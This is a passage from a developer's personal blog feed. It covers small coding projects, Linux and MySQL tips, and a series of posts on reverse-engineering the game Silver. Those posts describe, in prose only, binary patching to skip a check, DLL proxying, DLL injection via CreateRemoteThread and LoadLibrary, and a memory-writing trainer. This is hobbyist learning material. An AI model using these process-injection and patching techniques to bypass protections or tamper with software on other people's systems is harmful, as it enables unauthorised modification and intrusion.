\u0026#039;number\u0026#039;: 6 \/\/ \u0026lt;-- Valid\n    }]\n  }, {\n    \u0026#039;transaction\u0026#039;: \u0026#039;B\u0026#039;,\n    \u0026#039;events\u0026#039;: [{\n      \u0026#039;number\u0026#039;: 3,\n    }, {\n      \u0026#039;number\u0026#039;: 10,  \/\/ \u0026lt;-- Nicht valid weil Events fehlen\n    }]\n  }]\n};\n\u003C\/pre\u003E\n\u003Ch2\u003ECode\u003C\/h2\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003Econst eventsAreIncrementing \u0026#61; R.pipe(\n  R.sortBy(R.prop(\u0026#039;number\u0026#039;)), \/\/ Events sortieren\n  R.map(R.prop(\u0026#039;number\u0026#039;)), \/\/ Liste der Event-Nummern holen\n  R.reduce((acc, current) \u0026#61;\u0026gt; {\n    if (acc \u0026#61;\u0026#61;\u0026#61; false) return false; \/\/ Skip wenn wir schon einen fehlerhaften Wert gefunden haben\n    \/\/ F\u00fcr das erste Element das aktuelle zur\u00fcckgeben\n    \/\/ oder\n    \/\/ Checken ob das aktuelle Element ein Increment vom vorherigen ist\n    if (acc \u0026#61;\u0026#61;\u0026#61; null || acc \u0026#43; 1 \u0026#61;\u0026#61;\u0026#61; current) { return current; }\n    return false; \/\/ False zur\u00fcckgeben um zu signalisieren dass die Sequenz nicht um 1 inkrementiert\n  }, null),\n  R.is(Number) \/\/ Reduce gibt false zur\u00fcck wenn die Nummern nicht aufeinanderfolgend sind, sonst die letzte Nummer\n  \/\/ Deshalb check ich ob das Ergebnis eine Nummer ist\n);\n\nconst allEventsAreIncrementing \u0026#61; R.pipe(\n  R.map(R.prop(\u0026#039;events\u0026#039;)),\n  R.all(eventsAreIncrementing)\n);\n\nconst valid \u0026#61; allEventsAreIncrementing(data.transactions);\n\u003C\/pre\u003E\n","date_published":"2018-11-05T00:00:00+00:00"},{"id":"https:\/\/malura.de\/en\/blog\/fourth-gamedev-gathering","url":"https:\/\/malura.de\/en\/blog\/fourth-gamedev-gathering","title":"Fourth Gamedev Gathering","content_html":"\u003Cp\u003EA few game developers get together every month to code games, drink, talk and have a good time.\u003C\/p\u003E\n\u003Cp\u003EOctober 27, 2018 was another one of those days. We met up again at the \u003Ca href=\u0022https:\/\/toolbox-bodensee.de\/\u0022\u003EToolbox Bodensee\u003C\/a\u003E, a big hackspace here in southern Germany.\u003C\/p\u003E\n\u003Cp\u003EWe kicked off at 10 a.m. with some Club Mate and talked a lot about our current projects. At 1 p.m. I gave a presentation on \u003Ca href=\u0022https:\/\/files.malura.de\/presentations\/silver-reverse-engineering-presentation\/\u0022\u003Ereverse engineering\u003C\/a\u003E.\u003C\/p\u003E\n\u003Cp\u003EThis time I didn\u0026#039;t code all that much. Just implemented a simple behavior stack for a game I\u0026#039;m working on.\u003C\/p\u003E\n\u003Cp\u003ETalked a lot with the developer of \u003Ca href=\u0022https:\/\/www.indiedb.com\/games\/drag\u0022\u003EDrag\u003C\/a\u003E.\u003C\/p\u003E\n\u003Cp\u003EAt midnight I packed up my stuff and drove home.\u003C\/p\u003E\n\u003Cp\u003EYou can find more info about our meetups \u003Ca href=\u0022https:\/\/spieleentwicklung-bodensee.de\/\u0022\u003Ehere\u003C\/a\u003E\u003C\/p\u003E\n","date_published":"2018-10-28T00:00:00+00:00"},{"id":"https:\/\/malura.de\/en\/blog\/my-first-kaitai-struct","url":"https:\/\/malura.de\/en\/blog\/my-first-kaitai-struct","title":"My First Kaitai Struct","content_html":"\u003Cp\u003ECreated a Kaitai struct for .chr files in Silver. You can find the code \u003Ca href=\u0022https:\/\/github.com\/maluramichael\/silvie\/blob\/master\/kaitai\/chr.ksy\u0022\u003Ehere\u003C\/a\u003E.\u003C\/p\u003E\n\u003Cp\u003E[[img:1]]\u003C\/p\u003E\n\u003Cp\u003EThanks to \u003Ca href=\u0022https:\/\/github.com\/othias\u0022\u003Eothias\u003C\/a\u003E, he created the initial file parser.\u003C\/p\u003E\n","date_published":"2018-10-20T00:00:00+00:00"},{"id":"https:\/\/malura.de\/en\/blog\/my-first-window-patch","url":"https:\/\/malura.de\/en\/blog\/my-first-window-patch","title":"My First Window Patch","content_html":"\u003Cp\u003EFirst attempt at binary patching. The idea is simple: open the executable, find the bytes you want to change and overwrite them directly. In this case I patched a conditional jump to skip a check entirely. It\u0026#039;s the most straightforward way to permanently modify a program\u0026#039;s behavior without injecting anything at runtime.\u003C\/p\u003E\n\u003Cp\u003E[[img:1]]\u003C\/p\u003E\n","date_published":"2018-10-10T00:00:00+00:00"},{"id":"https:\/\/malura.de\/en\/blog\/silver-trainer-again","url":"https:\/\/malura.de\/en\/blog\/silver-trainer-again","title":"Silver Trainer Again","content_html":"\u003Cp\u003ETinkered with the Silver Trainer again. Rebuilt it from scratch, and this time it reads and writes a lot more values: Level, HP, Gold, Strength, Agility and a few others. The hex dump on the left shows the raw memory region, the overlay on the right shows the parsed stats in real time. Way cleaner than my first attempt.\u003C\/p\u003E\n\u003Cp\u003E[[img:1]]\u003C\/p\u003E\n","date_published":"2018-10-09T00:00:00+00:00"},{"id":"https:\/\/malura.de\/en\/blog\/found-some-weird-phrases-in-silver","url":"https:\/\/malura.de\/en\/blog\/found-some-weird-phrases-in-silver","title":"Found Some Weird Phrases in Silver","content_html":"\u003Cp\u003EWhile I was inspecting Silver\u0026#039;s memory, I found these phrases.\u003C\/p\u003E\n\u003Cp\u003E[[img:1]]\u003C\/p\u003E\n","date_published":"2018-10-07T00:00:00+00:00"},{"id":"https:\/\/malura.de\/en\/blog\/my-first-dll-proxy","url":"https:\/\/malura.de\/en\/blog\/my-first-dll-proxy","title":"My First DLL Proxy","content_html":"\u003Cp\u003EGot a DLL proxy working for the first time. The idea: you replace a DLL that the target application loads with your own version. Your proxy DLL forwards all the original function calls to the real DLL while also running your custom code. A clean way to hook into a process without modifying the executable itself.\u003C\/p\u003E\n\u003Cp\u003E[[img:1]]\u003C\/p\u003E\n","date_published":"2018-09-28T00:00:00+00:00"},{"id":"https:\/\/malura.de\/en\/blog\/i-called-a-game-function","url":"https:\/\/malura.de\/en\/blog\/i-called-a-game-function","title":"I called a game function","content_html":"\u003Cp\u003EI managed to call an internal game function directly from injected code. With a disassembler I found the function address, figured out the calling convention and the parameter layout, then called it from my DLL. That basically gives you full control over the internal game logic. Thanks to \u003Ca href=\u0022https:\/\/www.youtube.com\/channel\/UCCMi6F5Ac3kQDfffWXQGZDw\u0022\u003EGuided Hacking\u003C\/a\u003E for the tutorials that helped me.\u003C\/p\u003E\n\u003Cp\u003E[[img:1]]\u003C\/p\u003E\n","date_published":"2018-09-27T00:00:00+00:00"},{"id":"https:\/\/malura.de\/en\/blog\/my-first-trainer","url":"https:\/\/malura.de\/en\/blog\/my-first-trainer","title":"My First Trainer","content_html":"\u003Cp\u003EBuilt my first game trainer in C\u0026#43;\u0026#43;. It scans the target process\u0026#039;s memory, finds the relevant addresses and lets you modify values like health or ammo at runtime.\u003C\/p\u003E\n\u003Cp\u003EThe trainer attaches to the game via OpenProcess, scans memory for specific patterns to find player data structures, then writes new values with WriteProcessMemory. The UI shows the available cheats (Health, Mana, Armor) and you toggle them on and off. It works by continuously monitoring and overwriting the values in the game\u0026#039;s memory.\u003C\/p\u003E\n\u003Cp\u003E[[img:1]]\u003C\/p\u003E\n\u003Cp\u003EThe first screenshot shows the trainer code in Visual Studio. You can see a player struct with all the values (health, armor, mana, etc.) and the memory scan functions below it. The ReadProcessMemory and WriteProcessMemory calls read and set the values.\u003C\/p\u003E\n\u003Cp\u003E[[img:2]]\u003C\/p\u003E\n\u003Cp\u003EThe second screenshot shows the result in the game - an isometric RPG with the character \u0026#34;DRUID\u0026#34;. All the stats up top (Level, hit points, magic, etc.) are at 999. The trainer successfully overwrote the values and the game displays the cheated numbers.\u003C\/p\u003E\n","date_published":"2018-09-25T00:00:00+00:00"},{"id":"https:\/\/malura.de\/en\/blog\/my-first-dll-injection","url":"https:\/\/malura.de\/en\/blog\/my-first-dll-injection","title":"My first DLL injection","content_html":"\u003Cp\u003EFor the first time I injected my own DLL into a running process. The injector in C\u0026#43;\u0026#43; uses CreateRemoteThread to load the DLL into the target. Once inside, the DLL hooks a few functions and writes debug output.\u003C\/p\u003E\n\u003Cp\u003EThe injector opens the target process, allocates memory for the DLL path, writes it into the remote process and creates a thread that calls LoadLibrary. The DLL then runs in the target\u0026#039;s address space and can hook functions or modify memory. Pretty straightforward once you\u0026#039;ve understood the Windows API.\u003C\/p\u003E\n\u003Cp\u003E[[img:1]]\u003C\/p\u003E\n\u003Cp\u003EThe screenshot shows Visual Studio with the injector code on the left and the debug console at the bottom. The console shows \u0026#34;dll injected\u0026#34; messages after CreateRemoteThread succeeded. On the right in the editor you can see the DLL with the hook functions.\u003C\/p\u003E\n","date_published":"2018-09-24T00:00:00+00:00"},{"id":"https:\/\/malura.de\/en\/blog\/downloading-my-gog-library","url":"https:\/\/malura.de\/en\/blog\/downloading-my-gog-library","title":"Downloading my GOG library","content_html":"\u003Cp\u003EI wanted to back up all my games from GOG. So I found this handy tool.\u003C\/p\u003E\n\u003Cp\u003EYou need the lgogdownloader either from \u003Ca href=\u0022https:\/\/github.com\/Sude-\/lgogdownloader\u0022\u003EGithub\u003C\/a\u003E or via your package manager\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003E$ lgogdownloader\n# provide your email, password and code\n\n$ lgogdownloader --language\u0026#61;de,en --update-cache\n\n$ cd YOUR_DOWNLOAD_DIRECTORY\n\n$ lgogdownloader --language\u0026#61;de,en --download \\\n  --subdir-game gamename%\/%dlcname%\/%platform% \\\n  --use-cache --save-serials\n\u003C\/pre\u003E\n","date_published":"2018-09-01T00:00:00+00:00"},{"id":"https:\/\/malura.de\/en\/blog\/fixing-debian-sound-problems","url":"https:\/\/malura.de\/en\/blog\/fixing-debian-sound-problems","title":"Fixing Debian sound problems","content_html":"\u003Cp\u003EWhen I use Debian, I sometimes hear pretty heavy distortion, lags and crackling while listening to Spotify or playing games.\nThese settings helped me fix the problem.\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003E$ sudo nano \/etc\/pulse\/daemon.conf\n\n# search for ; default-fragment-size-msec\n# remove the ; and set its value to something below 50\n# for me it\u0026#039;s working with 5\n# save, quit and restart pulseaudio\n\npulseaudio -k;pulseaudio --start\n\u003C\/pre\u003E\n","date_published":"2018-08-30T00:00:00+00:00"},{"id":"https:\/\/malura.de\/en\/blog\/starting-the-android-emulator-from-the-terminal","url":"https:\/\/malura.de\/en\/blog\/starting-the-android-emulator-from-the-terminal","title":"Starting the Android Emulator from the terminal","content_html":"\u003Cp\u003EI needed a way to start the Android emulator without having to open Android Studio. First I tried the standard emulator command, but that didn\u0026#039;t work.\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003E$ emulator -avd Pixel_XL_API_25\nPANIC: Missing emulator engine program for \u0026#039;x86\u0026#039; CPU.\n\u003C\/pre\u003E\n\u003Cp\u003ESo I searched the web and found out that I had to start a different emulator and symlink it somewhere else.\nI didn\u0026#039;t like that idea.\nMy next thought was \u0026#34;What does Android Studio do?\u0026#34;. I watched my processes and started the emulator from Android Studio.\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003E$ ps aux | grep qemu\n... \/usr\/lib\/android-sdk\/emulator\/qemu\/linux-x86_64\/qemu-system-x86_64 -netdelay none -netspeed full -no-snapshot-load -avd Pixel_XL_API_25\n\u003C\/pre\u003E\n\u003Cp\u003ENice, that looks promising.\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003E$ \/usr\/lib\/android-sdk\/emulator\/qemu\/linux-x86_64\/qemu-system-x86_64 -netdelay none -netspeed full -no-snapshot-load -avd Pixel_XL_API_25\n\/usr\/lib\/android-sdk\/emulator\/qemu\/linux-x86_64\/qemu-system-x86_64: error while loading shared libraries: libc\u0026#43;\u0026#43;.so.1: cannot open shared object file: No such file or directory\n\u003C\/pre\u003E\n\u003Cp\u003ELooks like Android Studio brings its own libraries and we need to prepare our environment so the emulator starts properly.\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003E$ xargs --null --max-args\u0026#61;1 \u0026lt; \/proc\/ID_THE_OUR_QEMU_PROCESS\/environ\n# I will only show you the necessary lines\n# ...\nLD_LIBRARY_PATH\u0026#61;\/usr\/lib\/android-sdk\/emulator\/lib64\/qt\/lib:\/usr\/lib\/android-sdk\/emulator\/lib64\/libstdc\u0026#43;\u0026#43;:\/usr\/lib\/android-sdk\/emulator\/lib64\/gles_angle11:\/usr\/lib\/android-sdk\/emulator\/lib64\/gles_angle9:\/usr\/lib\/android-sdk\/emulator\/lib64\/gles_angle:\/usr\/lib\/android-sdk\/emulator\/lib64\/gles_swiftshader:\/usr\/lib\/android-sdk\/emulator\/lib64\nANDROID_EMULATOR_LAUNCHER_DIR\u0026#61;\/usr\/lib\/android-sdk\/emulator\n# ...\n\u003C\/pre\u003E\n\u003Cp\u003EWith this info I created a launch script for my emulator.\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003E#!\/usr\/bin\/env bash\nexport ANDROID_EMULATOR_LAUNCHER_DIR\u0026#61;\/usr\/lib\/android-sdk\/emulator\nexport LD_LIBRARY_PATH\u0026#61;\/usr\/lib\/android-sdk\/emulator\/lib64\/qt\/lib:\/usr\/lib\/android-sdk\/emulator\/lib64\/libstdc\u0026#43;\u0026#43;:\/usr\/lib\/android-sdk\/emulator\/lib64\/gles_angle11:\/usr\/lib\/android-sdk\/emulator\/lib64\/gles_angle9:\/usr\/lib\/android-sdk\/emulator\/lib64\/gles_angle:\/usr\/lib\/android-sdk\/emulator\/lib64\/gles_swiftshader:\/usr\/lib\/android-sdk\/emulator\/lib64\n\nEMULATOR86\u0026#61;\u0026#34;$ANDROID_HOME\/emulator\/qemu\/linux-x86_64\/qemu-system-x86_64\u0026#34;\nEMULATOR\u0026#61;\u0026#34;$ANDROID_HOME\/tools\/emulator\u0026#34;\nDEVICE\u0026#61;\u0026#96;$EMULATOR -list-avds | tail -1\u0026#96;\n\nRUN\u0026#61;\u0026#34;$EMULATOR86 -netdelay none -netspeed full -no-snapshot-load -avd $DEVICE\u0026#34;\n\necho \u0026#34;Run $RUN\u0026#34;\n\n$RUN\n\u003C\/pre\u003E\n","date_published":"2018-08-14T00:00:00+00:00"},{"id":"https:\/\/malura.de\/en\/blog\/turbo-mage-early-prototype","url":"https:\/\/malura.de\/en\/blog\/turbo-mage-early-prototype","title":"Turbo Mage - Early Prototype","content_html":"\u003Cp\u003EEarly screenshot of Turbo Mage, a little game I built during a gamedev gathering. You play a mage fighting your way through levels. The whole thing was hacked together over the weekend. This shows one of the first playable states with basic movement and spell mechanics that actually work.\u003C\/p\u003E\n\u003Cp\u003E[[img:1]]\u003C\/p\u003E\n","date_published":"2018-06-29T00:00:00+00:00"},{"id":"https:\/\/malura.de\/en\/blog\/pirates-early-prototype","url":"https:\/\/malura.de\/en\/blog\/pirates-early-prototype","title":"Pirates - Early Prototype","content_html":"\u003Cp\u003EEarly prototype of a pirate game. The core idea was a top-down sailing and combat game where you navigate between islands. Still very rough at this point. Just basic movement and a tilemap. But the concept was fun to mess around with.\u003C\/p\u003E\n\u003Cp\u003E[[img:1]]\u003C\/p\u003E\n","date_published":"2018-06-22T00:00:00+00:00"},{"id":"https:\/\/malura.de\/en\/blog\/splitting-csv-files","url":"https:\/\/malura.de\/en\/blog\/splitting-csv-files","title":"Splitting CSV files","content_html":"\u003Cp\u003EI had to split a CSV with 14k entries into several files because the import crashed on one of our servers when I imported everything at once.\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003E# split -l lines file_to_split output\/\n$ split -l 4000 export.csv export\/venues\n$ ls venues\nvenuesaa venuesab venuesac venuesad\n$ cd export\n\n# append .csv extension to every file\n$ for i in *; do mv \u0026#34;$i\u0026#34; \u0026#34;$i.csv\u0026#34;; done\n$ ls\nvenuesaa.csv venuesab.csv venuesac.csv venuesad.csv\n\n# get header of the first file\n$ header\u0026#61;$(head -n 1 venuesaa.csv)\n\n# prepend header to every other file\n$ ls | grep -v venuesaa | xargs echo -e \u0026#34;$header\\n$(cat {})\u0026#34; \u0026gt; {}\n\u003C\/pre\u003E\n","date_published":"2018-03-26T00:00:00+00:00"},{"id":"https:\/\/malura.de\/en\/blog\/mysql-import-export","url":"https:\/\/malura.de\/en\/blog\/mysql-import-export","title":"MySQL Import\/Export","content_html":"\u003Cp\u003EWith these snippets I can create a complete dump of a MySQL database.\u003C\/p\u003E\n\u003Ch2\u003Edump\u003C\/h2\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003Emysqldump --host\u0026#61;\u0026#34;xyz\u0026#34; \\\n--user\u0026#61;\u0026#34;xyz\u0026#34; --password\u0026#61;\u0026#34;xyz\u0026#34; \\\n--default-character-set\u0026#61;latin1 \\\n--result-file\u0026#61;\u0026#34;.\/dump.sql\u0026#34; \\\n--lock-tables --add-locks --create-options \\\n--extended-insert --add-drop-table --disable-keys \\\ndatabasename\n\u003C\/pre\u003E\n\u003Ch2\u003Eimport\u003C\/h2\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003Emysql --user\u0026#61;\u0026#34;xyz\u0026#34; --password\u0026#61;\u0026#34;xyz\u0026#34; \\\n--default-character-set\u0026#61;utf8 \\\ndatabasename \u0026lt; dump.sql\n\u003C\/pre\u003E\n\u003Ch2\u003Ebetter import\u003C\/h2\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003Emysql -u root -p\nmysql\u0026gt; SET names \u0026#039;utf8\u0026#039;\nmysql\u0026gt; SOURCE dump.sql\n\u003C\/pre\u003E\n","date_published":"2018-03-22T00:00:00+00:00"},{"id":"https:\/\/malura.de\/en\/blog\/creating-an-ssh-tunnel","url":"https:\/\/malura.de\/en\/blog\/creating-an-ssh-tunnel","title":"Creating an SSH Tunnel","content_html":"\u003Cpre class=\u0022notranslate\u0022\u003E#ssh -f user\u0026#64;remotehost -L localport:127.0.0.1:remoteport -N\n$ ssh -f root\u0026#64;database -L 3307:127.0.0.1:3306 -N\n\u003C\/pre\u003E\n\u003Cp\u003ENow it is possible to connect to a remote mysql database via the tunnel.\u003C\/p\u003E\n","date_published":"2018-03-22T00:00:00+00:00"},{"id":"https:\/\/malura.de\/en\/blog\/recognizing-trading-cards-with-opencv","url":"https:\/\/malura.de\/en\/blog\/recognizing-trading-cards-with-opencv","title":"Recognizing Trading Cards with OpenCV","content_html":"\u003Cp\u003EPrototype for automatically recognizing trading cards via camera. OpenCV detects the cards in the image and matches them against a database. Works pretty well already, as long as the lighting is halfway decent.\u003C\/p\u003E\n\u003Cp\u003E[[img:1]]\n[[img:2]]\n[[img:3]]\u003C\/p\u003E\n","date_published":"2017-10-06T00:00:00+00:00"},{"id":"https:\/\/malura.de\/en\/blog\/trading-bot-learning-strategies","url":"https:\/\/malura.de\/en\/blog\/trading-bot-learning-strategies","title":"Trading Bot - Learning Strategies","content_html":"\u003Cp\u003EFurther development of the trading bot: now it can test different strategies on historical data. The charts show the performance of the individual strategies side by side. That makes it possible to see which approaches even make sense before risking real money.\u003C\/p\u003E\n\u003Cp\u003E[[img:1]]\n[[img:2]]\n[[img:3]]\n[[img:4]]\u003C\/p\u003E\n","date_published":"2017-10-05T00:00:00+00:00"},{"id":"https:\/\/malura.de\/en\/blog\/trading-bot-early-prototype","url":"https:\/\/malura.de\/en\/blog\/trading-bot-early-prototype","title":"Trading Bot - Early Prototype","content_html":"\u003Cp\u003EFirst prototype of a trading bot for Ripple. The UI shows live charts and order book data. Everything built in Node.js, still without any real strategy logic.\u003C\/p\u003E\n\u003Cp\u003E[[img:1]]\n[[img:2]]\n[[img:3]]\n[[img:4]]\n[[img:5]]\n[[img:6]]\n[[img:7]]\u003C\/p\u003E\n","date_published":"2017-09-15T00:00:00+00:00"},{"id":"https:\/\/malura.de\/en\/blog\/king-marshmallow-more-features","url":"https:\/\/malura.de\/en\/blog\/king-marshmallow-more-features","title":"King Marshmallow - More Features","content_html":"\u003Cp\u003EBuilt some new features into King Marshmallow. The game runs on Love2D and Lua. Here are a few screenshots of the current state with new levels, mechanics and UI elements. Bit by bit it\u0026#039;s getting more playable.\u003C\/p\u003E\n\u003Cp\u003E[[img:1]]\n[[img:2]]\n[[img:3]]\n[[img:4]]\n[[img:5]]\n[[img:6]]\n[[img:7]]\n[[img:8]]\n[[img:9]]\n[[img:10]]\u003C\/p\u003E\n","date_published":"2017-09-13T00:00:00+00:00"},{"id":"https:\/\/malura.de\/en\/blog\/king-marshmallow-early-prototype","url":"https:\/\/malura.de\/en\/blog\/king-marshmallow-early-prototype","title":"King Marshmallow - Early Prototype","content_html":"\u003Cp\u003EEnd of the year and I had the idea to build a simple idle game.\u003C\/p\u003E\n\u003Cp\u003E[[img:1]]\u003C\/p\u003E\n","date_published":"2017-08-10T00:00:00+00:00"},{"id":"https:\/\/malura.de\/en\/blog\/tetris-with-love","url":"https:\/\/malura.de\/en\/blog\/tetris-with-love","title":"Tetris with L\u00d6VE","content_html":"\u003Cp\u003EA buddy of mine challenged me to create a tetris game. Delivered a couple of hours later.\u003C\/p\u003E\n\u003Cp\u003E[[img:1]]\n[[img:2]]\n[[img:3]]\u003C\/p\u003E\n","date_published":"2017-08-08T00:00:00+00:00"},{"id":"https:\/\/malura.de\/en\/blog\/opengl-just-for-fun","url":"https:\/\/malura.de\/en\/blog\/opengl-just-for-fun","title":"OpenGL just for fun","content_html":"\u003Cp\u003EJust messed around with OpenGL for a bit. No concrete goal, just to see what\u0026#039;s possible. Built a few different scenes with lighting, textures and simple geometry. All in C\u0026#43;\u0026#43; with raw OpenGL, no engine overhead.\u003C\/p\u003E\n\u003Cp\u003E[[img:4]]\n[[img:5]]\n[[img:6]]\n[[img:7]]\n[[img:3]]\n[[img:1]]\n[[img:8]]\n[[img:2]]\n[[img:9]]\n[[img:10]]\n[[img:11]]\n[[img:12]]\n[[img:13]]\n[[img:14]]\n[[img:15]]\n[[img:16]]\u003C\/p\u003E\n","date_published":"2017-05-01T00:00:00+00:00"},{"id":"https:\/\/malura.de\/en\/blog\/my-new-job-at-socialbit-gmbh","url":"https:\/\/malura.de\/en\/blog\/my-new-job-at-socialbit-gmbh","title":"My New Job at Socialbit GmbH","content_html":"\u003Cp\u003ENew year, new job! Starting in January 2016 I\u0026#039;m working as a team lead and senior software developer at Socialbit GmbH.\u003C\/p\u003E\n\u003Cp\u003EI\u0026#039;m looking forward to the new challenges and to working with the team. At Socialbit we build mobile apps and backend systems with state-of-the-art technologies.\u003C\/p\u003E\n","date_published":"2016-01-01T00:00:00+00:00"},{"id":"https:\/\/malura.de\/en\/blog\/gps-tracking-with-node-js","url":"https:\/\/malura.de\/en\/blog\/gps-tracking-with-node-js","title":"GPS tracking with Node.js","content_html":"\u003Cp\u003EOn a long drive across Germany I wrote a script that tracks your position and speed.\u003C\/p\u003E\n\u003Cp\u003E[[img:1]]\u003C\/p\u003E\n","date_published":"2015-12-18T00:00:00+00:00"},{"id":"https:\/\/malura.de\/en\/blog\/my-first-osx-app","url":"https:\/\/malura.de\/en\/blog\/my-first-osx-app","title":"My first OSX app","content_html":"\u003Cp\u003EAfter I\u0026#039;d built the HTML prototype of my watchlist tool, I wanted to give Swift a try.\u003C\/p\u003E\n\u003Cp\u003E[[img:1]]\n[[img:2]]\u003C\/p\u003E\n","date_published":"2015-08-30T00:00:00+00:00"},{"id":"https:\/\/malura.de\/en\/blog\/watchlist-prototype","url":"https:\/\/malura.de\/en\/blog\/watchlist-prototype","title":"Watchlist Prototype","content_html":"\u003Cp\u003EI built a simple prototype for the watchlist app. With it I could track my TV series, search for new shows and add them to my list.\u003C\/p\u003E\n\u003Cp\u003EThe screenshot shows the first HTML version with jQuery. At the top the current series as banners (Ugly Americans, Under the Dome, Mythbusters, Big Bang Theory), at the bottom a search field \u0026#34;Find new shows\u0026#34; with a table for various Flash versions. On the right the \u0026#34;Add\u0026#34; buttons to add shows to the watchlist.\u003C\/p\u003E\n\u003Cp\u003E[[img:1]]\u003C\/p\u003E\n\u003Cp\u003EI then completely restyled the interface. The second screenshot shows other series (Dexter, Eureka, Fringe, Gotham, Hannibal) and at the bottom a detail view for Hannibal with a German description and a season overview.\u003C\/p\u003E\n\u003Cp\u003E[[img:2]]\u003C\/p\u003E\n","date_published":"2015-08-26T00:00:00+00:00"},{"id":"https:\/\/malura.de\/en\/blog\/gphoto-in-the-browser","url":"https:\/\/malura.de\/en\/blog\/gphoto-in-the-browser","title":"GPhoto in the Browser","content_html":"\u003Cp\u003EA web interface to remote-control my DSLR via GPhoto. Change camera settings and trigger the shutter, all straight from the browser.\u003C\/p\u003E\n\u003Cp\u003EThe interface talks to GPhoto2 on a Raspberry Pi that\u0026#039;s connected to the DSLR over USB. In the browser I can adjust shutter speed, aperture and ISO, then fire the shutter at the press of a button. Handy for long exposures, timelapses, or when the camera is mounted on a tripod somewhere you can\u0026#039;t easily reach.\u003C\/p\u003E\n\u003Cp\u003E[[img:1]]\u003C\/p\u003E\n\u003Cp\u003EThe interface shows the current camera settings up top (1\/40 shutter, F3.5 aperture, ISO 6400) with buttons to adjust them (Faster\/Slower, Higher\/Lower). Below that are all the available settings like white balance, image size, flash mode, and so on. At the bottom there\u0026#039;s a green \u0026#34;Take a picture\u0026#34; button to trigger the shot.\u003C\/p\u003E\n\u003Cp\u003E\u003Cstrong\u003ELinks:\u003C\/strong\u003E\u003C\/p\u003E\n\u003Cul\u003E\n\u003Cli\u003E\u003Ca href=\u0022http:\/\/www.gphoto.org\/\u0022\u003EGPhoto2 Project\u003C\/a\u003E\u003C\/li\u003E\n\u003C\/ul\u003E\n","date_published":"2015-02-26T00:00:00+00:00"},{"id":"https:\/\/malura.de\/en\/blog\/my-first-component-entity-system-in-java","url":"https:\/\/malura.de\/en\/blog\/my-first-component-entity-system-in-java","title":"My First Component Entity System in Java","content_html":"\u003Cp\u003EThe basics work\n[[img:1]]\u003C\/p\u003E\n\u003Cp\u003EOBJ files can be loaded\n[[img:2]]\u003C\/p\u003E\n\u003Cp\u003EHere I implemented text rendering\n[[img:3]]\u003C\/p\u003E\n","date_published":"2014-01-10T00:00:00+00:00"}]}